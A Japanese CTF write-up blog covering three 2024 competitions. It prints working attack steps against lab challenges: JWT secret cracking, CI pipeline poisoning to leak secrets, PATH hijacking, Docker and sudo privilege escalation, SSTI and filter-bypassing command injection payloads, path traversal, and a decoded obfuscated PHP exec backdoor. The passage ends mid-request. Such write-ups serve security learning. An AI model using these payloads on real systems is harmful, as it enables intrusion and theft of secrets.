はまやんはまやんはまやん

hamayanhamayan's blog

Punk Security DevSecOps Birthday CTF - 2024 Writeup

https://ctftime.org/event/2285

5位!

[Password Cracking] Password Cracking - 1 解いてない

flag.miami_californiaというファイルが与えられる。時間が無かったのと、0 solvesだったので解かなかったが、拡張子からShadeランサムウェアの暗号化ファイルであることが分かり、漏洩済みキーから復号化するのが正答とのこと。

[Password Cracking] Password Cracking - 2 解けなかった

You may need a TEAM to unSCRAMBLE this
zxx637ff4b3a1818507aee953fa0681aa0c

これをクラックする問題。全く糸口が無く分からなかった。

Discordでやり取りがあり、これでクラック可能らしい。
https://github.com/jacksingleton/teamcity-unscrambler

[Password Cracking] Password Cracking - 3

cHVua197VGhleV9hcmVfbm90X2FsbF90aGlzX2Vhc3l9

これをクラックする問題。base64だった。デコードするとフラグが出てくる。

[Password Cracking] Password Cracking - 4

cb5e8a23ec9e46a858372247af29a414

これをクラックする。CrackStationに投げると出てくる。collisionだった。

[Password Cracking] JWsT crack it

Webサイトが与えられる。題名からJWTみがあるので、Cookieを見てみると以下のようなtokenが入っていた。

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc19hZG1pbiI6ZmFsc2V9.Hzfn6EknH8QxRsz4N4CYtJ0xFFi4IjB4b0yXHYUEZeA

ジャンルがPassword Crackingなのでクラックしてみる。

$ john --wordlist=/usr/share/wordlists/rockyou.txt h
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 512/512 AVX512BW 16x])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
punksnotdead     (?)     
1g 0:00:00:00 DONE (2024-05-05 01:50) 10.00g/s 327680p/s 327680c/s 327680C/s 123456..eatme1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

パスワードが分かった。jwt.ioでJWT全体を見てみると、Payloadが{"is_admin": false}だったので、{"is_admin": true}にして署名しなおして、Cookieにセットしなおす。この状態で/adminにアクセスするとフラグが得られた。

[Misc] IntoTheWebs

ドメインpunksecurity.co.ukの登録日を調べる問題。

VirusTotalで答えを見つけることができた。Whois Lookupを見ると、Registered onが12-Feb-2021なのでこれを様式通り答えればよい。

[Misc] CISO Simulator

CISO SIMULATORというゲームが起動するので遊ぶ。CISOになりきり施策を決め、セキュリティ侵害を一定の範囲に収めれば勝ち。

まず最初に予算の使い方を決める。アンチウイルス、WAF、Cloud Audit、Penetration Test、Consultancyを入れておいた。それから、6か月間それぞれについて、各月何をするかを決定する。

  • 初月はWAF, SASTを実行した。セキュリティ侵害は起こらなかった。
  • 次月はFix Cloud Issueをした。セキュリティ侵害は起こらなかった。
  • 3カ月目はSecret Scanningをした。セキュリティ侵害は起こらなかった。
  • 4カ月目はDASTをした。セキュリティ侵害は起こらなかった。
  • 5カ月目はMonitoring and Loggingをした。セキュリティ侵害が起こり、60kユーロ損害。
  • 6カ月目はIncident Responseをした。それはそう。セキュリティ侵害は起こらなかった。

損害が500kユーロ未満だったのでフラグがもらえた。1発クリア。

[Misc] Hungry punk 解いてない

ポケモンGOのスクショがもらえるので場所を特定するOSINT問題。ローカルネタっぽかったのでパス

[Teamcity] Teamcity - Easy

TeamCityと認証情報が与えられる。ログインしてみると、1つプロジェクトがある。ビルドステップを見ると、以下のような感じ。

echo %env.flag% | sha256sum

出力結果はコンソールから見られるのでsha256sumを消してそのまま出力してやろうと思ったが、マスクされてしまった。それならと思い、base64で出力させると成功する。つまり、以下のように変更する。

echo %env.flag% | base64

実行ログにbase64エンコードされたフラグが乗ってくるのでデコードして答える。

[Teamcity] Teamcity - Medium

TeamCityとGiteaが与えられ、認証情報もそれぞれ与えられる。TeamCity側で用意されているビルドプロジェクトを見てみると、以下のようなビルドスクリプトになっていた。

cd webpack-app
webpack

webpackが動く。

Giteaを見てみよう。punkctf/webpack-appというレポジトリがある。javascriptのコード群が入っていて、webpack用にwebpack.config.jsも含まれている。よって、このレポジトリをうまく改変し、webpackが実行された際に任意のコードが実行できればよさそう。

webpack.config.jsを修正してRCEすれば良さそうなので、ChatGPT3.5に聞いて適当に作る。gitea経由で以下のように変更する。

const path = require('path');
const webpack = require('webpack');

module.exports = {
    entry: './src/index.js',
    output: {
        filename: 'main.js',
        path: path.resolve(__dirname, 'dist'),
    },
    plugins: [
        new webpack.ProgressPlugin({
            handler: (percentage, message, ...args) => {
                if (percentage === 0) {
                    console.log('Build Starting');
                }
                if (percentage === 1) {
                    console.log('Build Finished');
                }
            },
        }),
  ],
};

これでビルドプロセスを動かしてみるが、Error: Cannot find module 'webpack'と怒られる。という訳で、別の方法がないか、ChatGPTを問い詰めると、以下のように普通に書けばいいよと教えてくれた。それもそうか。

const path = require('path');

module.exports = {
    entry: './src/index.js',
    output: {
        filename: 'main.js',
        path: path.resolve(__dirname, 'dist'),
    },
};

console.log('Can you see me?');

これを実行すると、ビルドログにCan you see me?が出てくるので、あとはRCEする。

console.log(require('child_process').execSync('env | base64').toString());

フラグは環境変数に入っていた。そのまま出すとマスクされるのでbase64でいい感じに取り出してくる。

[Teamcity] Teamcity - Hard

TeamCityとその認証情報が与えられる。Projectとして2つ入っている。

  • Challenge/whoami
    • ビルドステップはwhoamiするだけ
    • 編集可能
  • FlagHasher/FlagHasher
    • ビルドステップはsleep 5が設定されている
    • パラメタとしてenv.flagが設定されている
    • 編集不可能

フラグを得るにはFlagHasherのビルド実行経由で取得する必要があるが、編集できるのはwhoamiの方だけなのでどうしようかという部分が課題となる。注目すべきはビルドしているエージェントを共有している部分で、編集可能なwhoamiの方で何かを仕込んで、FlagHasherでうまく実行させてやればよさそう。FlagHasherでsleepが実行されているが、フルパス指定ではないのでPATH環境変数を弄ってやればよさそう?

whoami側で以下コマンドを実行してみる。

pwd
echo $PATH
->
/opt/buildagent/work/d1df6864f98d2599
/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

id
->
uid=0(root) gid=0(root) groups=0(root)

rootで動いてるなら何でもできますね。FlagHasherで動かしているsleepをハイジャックする。whoamiの方で以下を実行する。

echo 'echo $flag | base64' > /opt/java/openjdk/bin/sleep
chmod 777 /opt/java/openjdk/bin/sleep

こちらが用意したsleepをより優先度の高い所に置けたので、この状態でFlagHasherを動かすとecho $flag | base64が動かせてフラグが得られる。

[Teamcity] Teamcity - Extreme 解けなかった

前問であるTeamcity - Hardと状況は同じように見えるが、whoami側で前回試したコマンドを試してみると、rootユーザーでの実行からbuildagentユーザーでの実行にハーデニングされている。

pwd
echo $PATH
id
ls -la /opt/java/openjdk/bin
->
/opt/buildagent/work/d1df6864f98d2599
/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
uid=1000(buildagent) gid=1000(buildagent) groups=1000(buildagent),999(docker)
in directory: /opt/buildagent/work/d1df6864f98d2599
total 456
drwxr-xr-x 2 root root  4096 Apr 14  2023 .
drwxr-xr-x 9 root root  4096 Mar 27 11:35 ..
...

…という感じで、前回と同じやり方は使えない。

終了後のDiscordでwhoami側でbackgroundで/proc/PID/environを全部ダンプするスクリプトをぶん回しながらFlagHasher側を動かしてフラグを抜いてくるというやり方が紹介されていた。ref

[Teamcity] Teamcity - PBAC 解いてない

TeamCityとその認証情報が与えられる。Challenge/PBACというプロジェクトがあり、ビルドするとaws s3 ls s3://teamcity-s3-challengeが実行される。

(多分ビルド環境からAWSの認証情報抜いてきて、あとはAWS側を探索してフラグを見つけるという話だと思う。)

[Containerisation] Docker privesc

root権限に昇格せよという問題。ユーザー権限でのシェルは与えられる。

dockerを使って権限昇格ということでメモから使えそうなテクを探す。色々見るとfind / -name docker.sock 2>/dev/nullとすると/run/docker.sockが出てきた。つまり、普通にdockerコマンドが使えることになる。という訳でimageがあるか見てみよう。

ip-10-0-9-160:~$ docker image ls
REPOSITORY   TAG       IMAGE ID       CREATED         SIZE
alpine       latest    b2aa39c304c2   14 months ago   7.05MB

使えそうなのがありますね。これを踏み台にして、今の環境のrootをマウント経由で持って来ることにします。dockerの内部に入って、ルートを/mntにマウントします。

docker run -v /:/mnt --rm --user root:root -it alpine /bin/sh

これで全部見れるようになったのでdocker内のシェルからcat /mnt/root/FLAGでフラグ獲得。(説明が雑すぎるかも)

[Containerisation] Kubernetes - EASY 解けなかった

ユーザー権限でのシェルが与えられ、フラグを探す問題。題名からKubernetesを使うのだろうというのは分かるが、Kubernetesのペンテストはよくわからん。いい所まで行ったと思うが、フラグまでたどり着かなかった…

[Containerisation] Docker Lair

ユーザー権限でのシェルが与えられ、フラグを探す問題。おもむろにdocker image lsするとchallengeというのがある。

ip-10-0-13-230:/$ docker image ls
REPOSITORY   TAG       IMAGE ID       CREATED              SIZE
challenge    latest    678eaa2fd6c7   About a minute ago   7.05MB
alpine       latest    b2aa39c304c2   14 months ago        7.05MB

layer毎に分解して中身を見てみよう。docker save challenge > dumped.tarとしてtar -xvf layer.tarとすると何層かレイヤーが見える。適当に巡回すると、f6f0d15e7b4f4484d8cdad7a59a4e910ea1323f8a4af7d1e222a80ff0a05a1ebにフラグがあった。

ip-10-0-13-230:~$ ls
28d3982c35b499f19548bfe8f6374546c37a8c5f819d184a54f2b97924a86607
477b394dfb9f6eaf5088b4db3210fef7877b63cd870f33ba82cceacf9043f2f0
678eaa2fd6c70c0cf1ba67420e898bc8b33bbcd38f0d55f74a1bf421b9dceb16.json
a402dde20943a09b284aef93dadfd572a0709c6fe26d53ca1ba54e747556e755
f6f0d15e7b4f4484d8cdad7a59a4e910ea1323f8a4af7d1e222a80ff0a05a1eb
ff7a4ae1cc88f37af6ab5700adc20b33a6777440a06a205db38471cbe0fc0a03
manifest.json
repositories

ip-10-0-13-230:~/f6f0d15e7b4f4484d8cdad7a59a4e910ea1323f8a4af7d1e222a80ff0a05a1eb$ cat opt/SEC
RET 
punk_{■■■■■■■■■■■■■■■■■}

[Containerisation] Docker all the way down 解けなかった

全く分からず。

[Containerisation] Kubernetes - HARD 解いてない

(EASY解けなかった…)

[GTFOBINS] GTFOBINS - 1

GTFOBINSということでsudo -lしてみる。

(ALL) NOPASSWD: /usr/bin/nano /root/mail

GTFOBinsでnanoを探すと権限昇格の方法を見つけることができる。 書いてある通りにやるとrootシェルが起動するのでフラグを適当に探して答える。

sudo /usr/bin/nano /root/mail
^R^X
reset; sh 1>&0 2>&0

これでrootシェル起動。

# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# ls -la
total 28
drwx------ 1 root root 4096 May  4 15:37 .
drwxr-xr-x 1 root root 4096 May  4 15:32 ..
-rw-r--r-- 1 root root 3106 Oct 15  2021 .bashrc
drwxr-xr-x 3 root root 4096 May  4 15:36 .local
-rw-r--r-- 1 root root 1024 May  4 15:37 .mail.swp
-rw-r--r-- 1 root root  161 Jul  9  2019 .profile
-rw-r--r-- 1 root root   24 May  4 15:32 FLAG
# cat FLAG
punk_{■■■■■■■■■■}

[GTFOBINS] GTFOBINS - 3

これも、初手sudo -lする。

 (ALL) SETENV: NOPASSWD: /usr/bin/pip install *

SETENVがあるので環境変数も引き継がれる。pipのGTFOBinsを見てみよう。 ここのやり方を参考にして以下のようにすると、/rootのディレクトリ情報が抜ける。

TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'ls -la /root > /tmp/a')" > $TF/setup.py
sudo /usr/bin/pip install $TF
cat /tmp/a

echo部分をecho "import os; os.execl('/bin/sh', 'sh', '-c', 'cat /root/FLAG > /tmp/a')" > $TF/setup.pyにして同様にやればフラグ獲得。

[Jenkins] Saucy

JenkinsとGitea、そしてそれぞれの認証情報が与えられる。

  • Jenkins
    • Python Buildというジョブがある
    • 実行してみるとwhlファイルを作るもののようだ
  • Gitea
    • punkctf/python-appというレポジトリがある

ということで、python-appの内容がJenkinsのPython Buildでは実行されるんだろう。Gitea側のsetup.pyに追記して色々やる。適当にsetup.pyの末尾にprint(__import__('os').popen('id').read())を入れると、Console Outputにidの結果が出力されてきた。ok。

Console Outputを眺めるとFLAG=**** python3 setup.py sdist bdist_wheelと呼ばれているので、print(__import__('os').environ.get('FLAG')[:-1])でフラグを抜いてくる。([:-1]しているのはマスク避け)

[Jenkins] Look at the state of this

Jenkinsとその認証情報が与えられる。

Jenkinsを見るとSecure Jobs/Buildersというジョブがある。巡回していると、http://gitea.punk.local:3000/punkctf/jenkins.gitというURLにアクセスして何かしてるようだ。レポジトリの中身も見ることができる。中にはTerraformのあれこれが入っていて、ジョブではTerraformを使ってあれこれ動かしているみたい。

更に巡回すると、terraform.tfでpostgresの認証情報が手に入る。

terraform {
  backend "pg" {
    conn_str = "postgres://tfstate:svA3PzGRjMyHn4XWha2G7i3v3uBW5HbS@postgres.punk.local/tfstate?sslmode=disable"
  }
}

別途謎のコンソールが与えられていたので、これを使って接続しろということだろうと思い、psqlしてみると入れた。

punk@ip-10-0-10-188:/var$ psql -h postgres.punk.local -p 5432 -Utfstate -W -d tfstate
Password: 
psql (14.11 (Ubuntu 14.11-0ubuntu0.22.04.1), server 13.14 (Debian 13.14-1.pgdg110+2))
Type "help" for help.

tfstate=# SELECT distinct TABLE_SCHEMA FROM INFORMATION_SCHEMA.TABLES;
      table_schema      
------------------------
 pg_catalog
 terraform_remote_state
 information_schema
(3 rows)

tfstate=# select distinct table_name from information_schema.tables where table_schema = 'terraform_remote_state';
 table_name 
------------
 states
(1 row)

tfstate=# select * from terraform_remote_state.states;
...
  |         |             "content": "punk_{■■■■■■■■■}",  
...

という感じに巡回しているとフラグがある。

[Jenkins] ArtifaSt

Jenkinsとその認証情報が与えられる。Jenkinsには、以下のジョブがある。

  • Secure Jobs/Builder
    • sleep 30をしてcurl $ARTIFACT_PATH -Oをするジョブ。curlで取得を成功すればtarファイルを解凍して中のbuild.shを実行する
  • Secure Jobs/Packager
    • http://gitea.punk.local:3000/punkctf/jenkins.gitを参照している
      • ここのjenkinsfileを見てみると…
      • Secure Jobs/Builderをkickする
      • Builderが使う http://gitea.punk.local:3000/api/packages/punkctf/generic/package/1.0.1/package.tar を用意

機能的には以上の通り。脆弱な点として、giteaにあるレポジトリの中のJenkinsfileでtarファイルをアップロードする際の認証情報がべた書きされていて漏洩している。以下のような感じ。

sh 'curl --user punkctf:29de0161780654d14f74d04ecb472f5fd888a2e3 --upload-file package.tar http://gitea.punk.local:3000/api/packages/punkctf/generic/package/1.0.1/package.tar'

前問同様に、便利に使えるコンソールが与えられることを考慮して、以下の流れで攻撃を進める。

  1. Packagerを実行する
  2. PackagerによってBuilderが実行され、Builder側はsleep 30を実行
  3. Packagerの残りの処理でpackager.tarが用意される
  4. Builderのsleepが終わる前に、別コンソールからpackage.tarをアップロード
  5. Builderのsleepが終わり、差し込まれたpackage.tarに入っているシェルスクリプトが実行される

ということで、別コンソールでは以下のようにやる。

echo 'echo $TOKEN | base64' > build.sh
tar cvf package.tar build.sh
# Packager実行
curl --user punkctf:29de0161780654d14f74d04ecb472f5fd888a2e3 -X DELETE http://gitea.punk.local:3000/api/packages/punkctf/generic/package/1.0.1
curl --user punkctf:29de0161780654d14f74d04ecb472f5fd888a2e3 --upload-file package.tar http://gitea.punk.local:3000/api/packages/punkctf/generic/package/1.0.1/package.tar

Builder完了後にConsole Outputを見るとbase64エンコードされたフラグが載っている。

[Jenkins] It's just a comment

JenkinsとGitea、そして、その両方の認証情報が与えられる。

JenkinsではGitea/jenkinsというのがあり、Giteaではpunkctf/jenkinsというのがある。Gitea側ではPull RequestsにJenkinsからコメントがあり、secretが見つかったから消せ!というコメントが出ている。Jenkinsfileを見てみるとsecretという文字列で検索して、ヒットするとコメントを出す。

恐らく重要なのが、Pull Requestsが作られた段階でJenkinsfileが実行されているということだろうので、新しくPull Requestsを作ってRCEしてみよう。

  1. masterブランチから新しくpocブランチを作成
  2. Jenkinsfileのsecretでgrepしている部分の上くらいにenv | base64を追記し、コミット
  3. pocブランチをmasterブランチにマージする形でPull Requestを新しく作る
  4. Jenkins側でスキャンを動かす
  5. 該当PRのConsole Outputから結果を受け取る

色々RCEしてみるがフラグが見当たらない。ところでPull RequestsにJenkinsというユーザーがログインしていて、トークン情報が送られていることに気が付く。echo $GITEA_TOKEN | base64というのを追加してみて、取り出し、API呼び出ししてみよう。

http://gitea.punk.local:3000/api/v1/user?token=957b0734e64057f9129b628df3556afbaa1a7020
->
{"id":2,"login":"jenkins","login_name":"","full_name":"","email":"jenkins@punk.local","avatar_url":"https://secure.gravatar.com/avatar/cf9325fafa42f009b2922e2943d2907f?d=identicon","language":"en-US","is_admin":true,"last_login":"2024-04-29T15:28:50Z","created":"2024-04-29T15:27:35Z","restricted":false,"active":true,"prohibit_login":false,"location":"","website":"","description":"","visibility":"limited","followers_count":0,"following_count":0,"starred_repos_count":0,"username":"jenkins"}

"is_admin":trueGiteaのAPI仕様書を見ながら巡回する。

http://gitea.punk.local:3000/api/v1/repos/search?token=957b0734e64057f9129b628df3556afbaa1a7020
->
{"ok":true, … ,{"id":2,"owner":{"id":2,"login":"jenkins","login_name":"","full_name":"","email":"jenkins@punk.local","avatar_url":"https://secure.gravatar.com/avatar/cf9325fafa42f009b2922e2943d2907f?d=identicon","language":"","is_admin":false,"last_login":"0001-01-01T00:00:00Z","created":"2024-04-29T15:27:35Z","restricted":false,"active":false,"prohibit_login":false,"location":"","website":"","description":"","visibility":"limited","followers_count":0,"following_count":0,"starred_repos_count":0,"username":"jenkins"},"name":"secret","full_name":"jenkins/secret", … 
->
jenkins/secretというのがありますね。

http://gitea.punk.local:3000/api/v1/repos/jenkins/secret/contents?token=957b0734e64057f9129b628df3556afbaa1a7020
->
[{"name":"Flag","path":"Flag","sha":"1730702ad1437bc704e1ce3e6a0a6148232770fc","last_commit_sha":"cd746cb65f3ebd134e50f42ba91177183001b440","type":"file","size":25,"encoding":null,"content":null,"target":null,"url":"http://gitea.punk.local:3000/api/v1/repos/jenkins/secret/contents/Flag?ref=master","html_url":"http://gitea.punk.local:3000/jenkins/secret/src/branch/master/Flag" …
->
Flagというファイルがありますね。

http://gitea.punk.local:3000/api/v1/repos/jenkins/secret/contents/Flag?token=957b0734e64057f9129b628df3556afbaa1a7020
->
{"name":"Flag","path":"Flag","sha":"1730702ad1437bc704e1ce3e6a0a6148232770fc","last_commit_sha":"cd746cb65f3ebd134e50f42ba91177183001b440","type":"file","size":25,"encoding":"base64","content":"cHVua19■■■■■■■■■■■■■■■■■■■■","target":null,"url":"http://gitea.punk.local:3000/api/v1/repos/jenkins/secret/contents/Flag?ref=master", …

やっと見つけた!

[Jenkins] Terraform - Hard 解けなかった

Jenkinsとその認証情報が与えられる。

JenkinsにSecure jobs/Builderというジョブがあり、giteaのhttp://gitea.punk.local:3000/punkctf/jenkins.gitにあるTerraformを実行している。前問 Saucy と同様にterraform.tfに認証情報が漏洩していた。

terraform {
  backend "pg" {
    conn_str = "postgres://tfstate:svA3PzGRjMyHn4XWha2G7i3v3uBW5HbS@postgres.punk.local/tfstate?sslmode=disable"
  }
}

前問と同じように解いてみるが、select * from terraform_remote_state.states;の後何も出てこない…DBを改ざんしてRCE?分からん。

[Jenkins] Peer reviews to fight abuse

JenkinsとGitea、その両方の認証情報が与えられる。状況は以下の通り。

  • Jenkins
    • Gitea
      • PRを探してJenkinsfileを実行してくれる
    • Secure Jobs/Generate Release
      • http://gitea.punk.local:3000/hudson/jenkins.git を動かしてる
      • 詳しい内部挙動は分からないが、実行時ログを見ると+ echo # Version 4.5.24...のようにRELEASE.mdをコマンド内部で使っていそうな雰囲気がある
  • Gitea
    • hudson/jenkins
      • 自由にPRを出すことはできるが、別の誰か1人に承認してもらう必要がある

ゴールはSecure Jobs/Generate Release$FLAGを出力させること。逆算して考えると、RELEASE.mdを使ってRCEをするのではないかと仮説が立つ。そして、RELEASE.mdを更新するにはPRで誰かに承認を強制させる必要がある。

承認を強制させる

これは、JenkinsのGiteaを使う。Jenkinsfileを見てみると以下のようにPRにコメントを残す処理をしている。コメントの主はJenkinsというユーザーであり、自分とは異なる。

pipeline {
    agent any
    stages {
        stage('build') {
            steps {
                withCredentials([string(credentialsId: 'gitea', variable: 'GITEA_TOKEN')]) {
                    sh '''#!/usr/bin/env bash
                            curl -X 'POST' \\
                              "http://gitea.punk.local:3000/api/v1/repos/hudson/jenkins/pulls/$CHANGE_ID/reviews" \\
                              -H 'accept: application/json' \\
                              -H "Authorization: token $GITEA_TOKEN" \\
                              -H 'Content-Type: application/json' \\
                              -d "{
                              \\"body\\": \\"Thanks for your submission. Please wait for a maintainer to approve your PR.\\",
                              \\"commit_id\\": \\"$GIT_COMMIT\\",
                              \\"event\\": \\"COMMENT\\"
                            }"
                    '''
                }
            }
        }
    }
}

PRを出して、JenkinsのGiteaで処理をする際に使うJenkinsfileはPRでpushしたファイルが利用される。そのため、このコメントを残す処理を承認をする処理に変えてやれば承認を強制させることができる。

手順としては、まず承認させたいPRを作成する。今回の中間目標はRELEASE.mdの修正なので、RELEASE.mdを修正してPRを出す。

次に、RELEASE.mdの修正PRを承認させるためのPRを出す。Jenkinsfileの以下の部分を変更する。

  • $CHANGE_IDをRELEASE.mdの修正PRの番号にする
  • bodyとcommit_idを消す(指摘だと思われて承認が外れるっぽい?)
  • eventをAPPROVEDに変更する

この状態に変更してPRを出し、Jenkins側からGiteaのジョブを動かすと、変更後のJenkinsfileが実行され、指定のPRに承認がなされる。これでmergeの条件を満たすのでmarge可能となる。

RELEASE.mdを使ってRCEをする

これは単純でRELEASE.mdの中身を展開するときにエスケープされないのか、末尾に'を入れることでechoに入る文字列を脱出することができる。つまり、末尾に' && id #と追加すればidコマンドの結果を得ることができる。

よって、最終的にはRELEASE.mdの末尾にecho $FLAG | base64としてフラグを取り出せば良い。

UMDCTF 2024 Writeups

https://ctftime.org/event/2323

web/Donations

ソースコード無し。
寄付できるサイトが与えられる。

POST /api/donate HTTP/2
Host: donations-api.challs.umdctf.io
Cookie: session=eyJ1c2VybmFtZSI6ICJldmlsbWFuIn0=.ZixWKQ.YTGpGoytWnjqiFg2fW68pNtuml8
Content-Length: 30
Content-Type: application/x-www-form-urlencoded

to=lisanalgaib&currency=-10000

以上のようにマイナスの値で寄付をするとお金が増えて、この状態で自分のページに行くとフラグがもらえた。

web/Donations (but I fixed it) あきらめ

ソースコード無し。
色々試したが分からん。

Discordを見るとtoを複数やると検証を回避して違う人に送れるっぽい。ふむ。

web/HTTP Fanatics

一部、main.pyとmain.rsというソースコード有り。

HTTP/3での通信が必要。それ以外でつないでいくとHTTP/3でつないでと言われる。
curlではEXPERIMENTALな実装らしいので、誰かがビルドしてくれたものを雑に使って接続した。
(推奨するわけではないので使ったアプリは紹介しない)

とりあえず $ ./curl --http3-only https://http-fanatics.challs.umdctf.io でいい感じに表示ができた。

main.pyの以下で登録処理ができるのでやってみる。

@app.post("/admin/register")
def register(user: Registration):
    if not re.match(r"[a-zA-Z]{1,8}", user.username):
        return Response(status_code=400, content="Bad Request")

    users[user.username] = user.password
    return Response(status_code=204)

ということで以下のようにする。

$ ./curl --http3-only https://http-fanatics.challs.umdctf.io/admin/register -X POST -d '{"username":"evilman","password":"sadfjk234jisdfjksdafjisad"}' -H "Content-Type: 
application/json"
Unauthorized

Unauthorizedと言われますね。
HTTP/3部分を担当しているmain.rsの実装を見てみる。

    if request.uri().path() == "/admin/register" {
        stream.send_response(Response::builder().status(StatusCode::UNAUTHORIZED).body(()).unwrap()).await?;
        stream.send_data(Bytes::from("Unauthorized")).await?;
        stream.finish().await?;
        return Ok(());
    }

ブロック処理がありました。これを回避する必要がある。
これは単純にadmin/registerをURLエンコードしてadmin%2fregisterとすることで回避できた。
完全に想像だが、

  /admin%2fregister         /admin/register   
          ┌─────────────┐      ┌─────────────┐
─────────►│             ├─────►│             │
          │  main.rs    │      │   main.py   │
◄─────────┼─────────────┼──────┤             │
          └─────────────┘      └─────────────┘

多分こんな感じで処理されてうまくいく。
誰がURLデコードしているかは不明だが、fastapiだろう。(無根拠)

これで登録処理が完了したので、main.pyの以下の部分にあるようにログインしてみる。

@app.get("/dashboard")
def dashboard(credentials: Annotated[str | None, Cookie()] = None):
    if not credentials:
        return Response(status_code=401, content="Unauthorized")

    user_info = json.loads(base64.b64decode(credentials))
    if user_info["username"] not in users or user_info["password"] != users[user_info["username"]]:
        return Response(status_code=401, content="Unauthorized")

    with open("static/dashboard.html") as dashboard_file:
        return HTMLResponse(content=dashboard_file.read())

ということなので、

$ ./curl --http3-only https://http-fanatics.challs.umdctf.io/dashboard -b "credentials=eyJ1c2VybmFtZSI6ImV2aWxtYW4iLCJwYXNzd29yZCI6InNhZGZqazIzNGppc2RmamtzZGFmamlzYWQifQ=="
<html>
<head>
    <title>HTTP Fanatics - Dashboard</title>
</head>
<body>
<h1>HTTP Fanatics - Registered Member Dashboard</h1>
<p>Flag: UMDCTF{■■■■■■■■■■■■■■■■■■■■■■}</p>
</body>
</html>

フラグが得られた。

web/UMDProxy 解いてない

ソースコード無し…

AirOverflow CTF - 2024 Writeups

https://ctftime.org/event/2360

[Web] QrZilla

ソースコード無し。
QRコードの作成と読み込みができるサイトが与えられる。
色々試すとSSTI脆弱性があった。

{{7*7}}を入れてQRコードを作成し、生成されるURLをScanの方で表示させると49と表示された。
ということでいつものようにRCEしていく。

{{request.application.__globals__.__builtins__.__import__('os').popen('ls -lah /').read()}}でフラグの場所が分かるので、

total 72K
drwxr-xr-x   1 root root 4.0K Apr 28 05:09 .
drwxr-xr-x   1 root root 4.0K Apr 28 05:09 ..
-rwxr-xr-x   1 root root    0 Apr 28 05:09 .dockerenv
lrwxrwxrwx   1 root root    7 Apr  8 00:00 bin -> usr/bin
drwxr-xr-x   2 root root 4.0K Jan 28 21:20 boot
drwxr-xr-x   1 root root 4.0K Apr 23 13:45 code
drwxr-xr-x   5 root root  340 Apr 28 05:09 dev
drwxr-xr-x   1 root root 4.0K Apr 28 05:09 etc
-rw-rw-r--   1 root root   59 Apr 28 05:09 flag.txt
drwxr-xr-x   2 root root 4.0K Jan 28 21:20 home
lrwxrwxrwx   1 root root    7 Apr  8 00:00 lib -> usr/lib
lrwxrwxrwx   1 root root    9 Apr  8 00:00 lib64 -> usr/lib64
drwxr-xr-x   2 root root 4.0K Apr  8 00:00 media
drwxr-xr-x   2 root root 4.0K Apr  8 00:00 mnt
drwxr-xr-x   2 root root 4.0K Apr  8 00:00 opt
dr-xr-xr-x 306 root root    0 Apr 28 05:09 proc
drwx------   1 root root 4.0K Apr 23 18:29 root
drwxr-xr-x   1 root root 4.0K Apr 10 05:25 run
lrwxrwxrwx   1 root root    8 Apr  8 00:00 sbin -> usr/sbin
drwxr-xr-x   2 root root 4.0K Apr  8 00:00 srv
dr-xr-xr-x  13 root root    0 Apr 28 05:09 sys
drwxrwxrwt   1 root root 4.0K Apr 23 18:30 tmp
drwxr-xr-x   1 root root 4.0K Apr  8 00:00 usr
drwxr-xr-x   1 root root 4.0K Apr  8 00:00 var

{{request.application.__globals__.__builtins__.__import__('os').popen('cat /flag.txt').read()}}のようにして取り出す。

[Web] Feedback

ソースコード無し。
入力できる所でガチャガチャやってると`id`でidコマンドが動いた。
使えない文字があるので色々頑張る必要がありそう。

スペースは${IFS}で代用可能だった。`cat${IFS}main.py`ソースコードを抜いてみよう。

from fastapi import FastAPI, Request from fastapi.responses import HTMLResponse from fastapi.staticfiles import StaticFiles from fastapi.templating import Jinja2Templates import os import subprocess app = FastAPI(docs_url=None, redoc_url=None) #app.mount(\"/static\", StaticFiles(directory=\"static\"), name=\"static\") templates = Jinja2Templates(directory=\"templates\") @app.get(\"/\", response_class=HTMLResponse) async def root(req: Request): return templates.TemplateResponse(\"index.html\", {\"request\": req, \"id\": id}) invalid_chars = [ \" \", \"less\", \"more\", \"head\", \"tail\", \"grep\", \"awk\", \"sed\", \"flag\", \"txt\", \"base\", \"*\", \"/\", \";\", \"[\", \"]\", \"\\\"\", \"\\'\", \"?\" ] @app.post(\"/submit\") async def submit(req: Request): data = await req.json() name = data.get(\"name\") for char in invalid_chars: if char in name: return { \"success\": False, \"response\": \"Invalid Characters\" } try: get_output = subprocess.check_output(f\"echo \" + name, shell=True, executable=\"/bin/bash\") except: return { \"success\": False, \"response\": \"Something went wrong on our side.\" } return { \"success\": True, \"response\": get_output }\n

invalid_chars = [ \" \", \"less\", \"more\", \"head\", \"tail\", \"grep\", \"awk\", \"sed\", \"flag\", \"txt\", \"base\", \"*\", \"/\", \";\", \"[\", \"]\", \"\\\"\", \"\\'\", \"?\" ]が禁止だった。
スラッシュは${HOME:0:1}で代用可能。
flag,txtはfla{g..g}tx{t..t}のように回避すればいいので、最終的に`cat${IFS}${HOME:0:1}fla{g..g}.tx{t..t}`でフラグ取得可能。

[Web] MusicOverflow2077

ソースコード無し。
音楽を鳴らせるサイトが与えられる。
リクエストを眺めると GET /music.php/?song=BIG%20DAWG%20THING.mp3 というディレクトリトラバーサルできそうな所がある。
GET /music.php/?song=../../../../etc/passwdでいつもの出力が出てきた。

色々試すとソースコードが抜けた。
GET /music.php/?song=../index.php
先頭に難読化されたphpが埋め込まれている。

<?php $_=``.[];$__=@$_;$_= $__[0]; $_1 = $__[2]; $_1++;$_1++;$_1++;$_1++;$_1++;$_1++;$_++;$_++;$_0 = $_;$_++;$_2 = ++$_; $_55 = '_'.(','^'|').('/'^'`').('-'^'~').(')'^'}');$_74 = ('{'^':').('`'^'/').('='^'{').('#'^'`').(')'^'}').('`'^'&').('@'^'r').('k'^'_'); $_ = $_2.$_1.$_2.$_0; $_($$_55[$_74.'_oEC8QYaYKp']);?>

適当に動的解析しながら復元すると最終的にはExEC($_POST['AOFCTF24_oEC8QYaYKp']);を動かすコードだった。
という訳で以下のような感じでRCEできる。

POST / HTTP/1.1
Host: challs.airoverflow.com:34283
Connection: close
